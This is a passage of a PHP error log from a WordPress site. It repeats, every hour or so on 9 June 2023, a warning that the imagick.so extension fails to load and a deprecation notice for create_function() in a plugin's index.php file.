on line 1 [09-Jun-2023 11:29:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 11:29:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 13:30:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 13:30:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 14:31:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 14:31:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 15:32:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 15:32:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:25:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:25:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:25:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:25:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:26:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:26:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:26:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:26:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:26:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:26:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:26:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:26:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:29:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:29:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:30:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:30:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:31:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:31:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:31:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:31:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:32:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:32:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:32:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:32:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:32:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:32:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:33:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:33:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:33:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:33:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:33:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:33:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:34:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:34:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:34:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:34:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:34:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:34:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:35:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:35:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:36:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:36:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:36:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:36:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:37:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:37:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:38:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:38:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:38:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:38:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:38:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:38:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:39:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:39:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:39:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:39:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:39:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:39:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:40:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:40:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:40:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:40:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:40:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:40:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:41:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:41:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:41:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:41:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:42:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:42:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 16:43:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 16:43:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 17:34:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 17:34:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 18:34:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 18:34:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 19:36:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 19:36:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 20:37:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 20:37:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 21:38:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 21:38:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 22:39:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 22:39:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:28:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 23:28:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 23:28:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 